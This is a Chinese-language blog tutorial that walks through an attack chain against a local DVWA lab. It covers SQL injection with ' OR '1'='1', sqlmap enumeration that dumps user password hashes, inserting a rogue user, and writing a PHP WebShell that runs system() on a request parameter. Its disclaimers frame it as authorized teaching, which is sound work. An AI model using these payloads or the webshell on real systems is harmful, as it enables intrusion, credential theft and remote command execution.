Home / News / SQL 注入、权限提升与 WebShell实战

SQL 注入、权限提升与 WebShell实战

注意:本文仅用于合法授权下的安全研究、教学演示、以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。

本文内容及所涉及的技术,仅限于合法授权下的安全研究、漏洞复现与教学演示使用!使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者,一切法律后果由使用者本人承担。

请严格遵守所在地的法律法规,特别是以下中国法律条款:

  1. 《中华人民共和国网络安全法》 第十二条:禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。
  2. 《中华人民共和国刑法》 第二百八十五条至二百八十七条:非法入侵计算机系统、篡改或破坏数据将追究刑责。
  3. 《中华人民共和国数据安全法》 第三条、第十七条:数据处理活动必须合法合规,严禁非法获取、传输或泄露数据。
  4. 注意:本文仅供教育和安全研究使用。

    本文内容及所涉及的技术,仅限用于合法授权下的安全研究、教学演示、
    以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。
    
    本文内容仅限安全研究、漏洞复现与教学演示使用!
    
    使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
    凡将本文所述方法用于非法用途者,一切法律后果由使用者本人承担。
    
    请严格遵守所在地的法律法规,特别是以下中国法律条款:
    
    📜 《中华人民共和国网络安全法》 第十二条:
    禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。
    
    📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条:
    非法入侵计算机系统、篡改或破坏数据将追究刑责。
    
    📜 《中华人民共和国数据安全法》 第三条、第十七条:
    数据处理活动必须合法合规,严禁非法获取、传输或泄露数据。
    
    🚫 强烈禁止以下行为:
    
    - 向他人 APK 植入恶意代码并传播
    - 上传恶意程序至应用市场
    - 在未授权设备或网络环境中运行本篇提及的技术
    
    ⚖️ 非法使用将触犯法律,作者不承担由此引发的任何后果。
    
    🧪 本文操作均在本地沙箱环境下进行,示例所用 APK 为自定义构建 demo,用于演示完整技术链路,非实际恶意软件。
    
    💡 特别提醒:
    本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等,
    必须在受控环境下、获得明确授权后进行。
    未经许可的任何行为都将被视为违法攻击。
    
    📛 作者立场中立,仅为安全教育目的演示,不对滥用技术行为负责。
    

    准备环境 & Docker 安装

    sudo apt update
    sudo apt install -y docker.io
    
    docker pull vulnerables/web-dvwa
    docker run --rm -it -p 7997:80 vulnerables/web-dvwa
    
    

    访问浏览器:http://localhost:7997
    默认账号密码:admin / password
    点击 Create/Reset Database 初始化数据库。

    布尔注入测试与漏洞验证

    在开始之前,我们要确保 SQL 语句在数据库端返回 true 而不是 false。通常,当密码错误时,例如 password='123'password='‘,查询会返回 false,因为条件不匹配。但如果我们注入 '1'='1',这个条件始终为 true,因为 '1''1' 完全匹配,从而绕过验证。

    输入:

    OR '1'='1'
    

    理论上,后台 SQL 语句可能是:

    SELECT * FROM users WHERE password = '' OR '1'='1';
    

    页面返回:

    ID: 1' OR '1'='1
    First name: admin
    Surname: admin
    
    ID: 1' OR '1'='1
    First name: Gordon
    Surname: Brown
    
    ID: 1' OR '1'='1
    First name: Hack
    Surname: Me
    
    ID: 1' OR '1'='1
    First name: Pablo
    Surname: Picasso
    
    ID: 1' OR '1'='1
    First name: Bob
    Surname: Smith
    

    在这里插入图片描述

    这一步成功验证了 id 参数存在 SQL 注入漏洞,是整个攻击链的开端。

    获取 PHPSESSID & 安全级别 Cookie

    在这里插入图片描述

    curl -I http://localhost:7997
    

    输出:

    HTTP/1.1 302 Found
    Set-Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; path=/
    Set-Cookie: security=low
    Location: login.php
    

    curl 验证 SQL 注入点

    在这里插入图片描述

    curl -i "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
    -H "Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"
    

    输出:

    ID: 1
    First name: admin
    Surname: admin
    

    尝试注入:

    curl -i "http://localhost:7997/vulnerabilities/sqli/?id=1'%20OR%20'1'='1'&Submit=Submit" \
    -H "Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"
    

    输出:

    ID: 1' OR '1'='1
    First name: admin
    
    

    sqlmap 探测注入类型

    sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
    -p id --batch --level=2 --risk=1
    

    输出:

    GET parameter 'id' is injectable
    Boolean-based blind: payload...
    Error-based: payload...
    Time-based blind: payload...
    UNION query: payload...
    

    获取数据库列表

    在这里插入图片描述

    sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
    --dbs -p id --batch
    

    输出:

    available databases [2]:
    [*] dvwa
    [*] information_schema
    

    查看 DVWA 表

    在这里插入图片描述

    sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
    -D dvwa --tables -p id --batch
    

    输出:

    Database: dvwa
    [2 tables]
    +-----------+
    | guestbook |
    | users     |
    +-----------+
    

    查询用户表

    在这里插入图片描述

    sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
    --sql-query="SELECT * FROM dvwa.users;" -p id --batch
    

    输出:

    [*] 1337,/hackable/users/1337.jpg,0,Hack,...,8d3533d75ae2c3966d7e0d4fcc69216b,3
    [*] admin,/hackable/users/admin.jpg,0,admin,...,5f4dcc3b5aa765d61d8327deb882cf99,1
    [*] gordonb,/hackable/users/gordonb.jpg,0,Gordon,...,e99a18c428cb38d5f260853678922e03,2
    [*] pablo,/hackable/users/pablo.jpg,0,Pablo,...,0d107d09f5bbe40cade3de5c71e9e9b7,4
    [*] smithy,/hackable/users/smithy.jpg,0,Bob,...,5f4dcc3b5aa765d61d8327deb882cf99,5
    

    创建新用户

    sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
    --sql-query="INSERT INTO dvwa.users (user, avatar, first_name, user_id, password) 
    VALUES ('test', '/hackable/users/test.jpg', 'sss', 'test_hack', 'password_123');" -p id --batch
    

    查询权限

    sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
    --sql-query="SELECT grantee, privilege_type FROM information_schema.user_privileges;" -p id --batch
    

    输出:

    'app'@'localhost', USAGE
    

    上传 WebShell

    在这里插入图片描述

    PHP WebShell

    <?php
    if (isset($_REQUEST['cmd'])) {
        echo "<pre>";
        system($_REQUEST['cmd']);
        echo "</pre>";
    }
    ?>
    

    上传命令:

    sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
    -p id --batch \
    --file-write="./shell.php" \
    --file-dest="/var/www/html/dvwa/shell.php"
    

    访问测试:

    http://localhost:7997/dvwa/shell.php?cmd=whoami
    

    郑重声明

    学技术,须以善念为本。此博客所分享的知识,皆为安全研究与防护之用。请务必谨记,绝不可滥用这些技能去伤害他人、侵犯隐私或进行任何违法犯罪行为。若你选择走偏,所有后果只能由你自己承担。

    技术如刀,双刃而锋利。唯有怀抱正义与责任,方能让它照亮前路,而非迷失于黑暗。愿你我都能守住这份初心,成为守护网络安全的真正战士。

    若你选择滥用本博客内容所学技能所造成的任何损害或违法行为,本人概不负责。若因此被警方或相关执法机关追查,一切法律责任与后果均由使用者本人承担。

Tagged:

Leave a Reply

Your email address will not be published. Required fields are marked *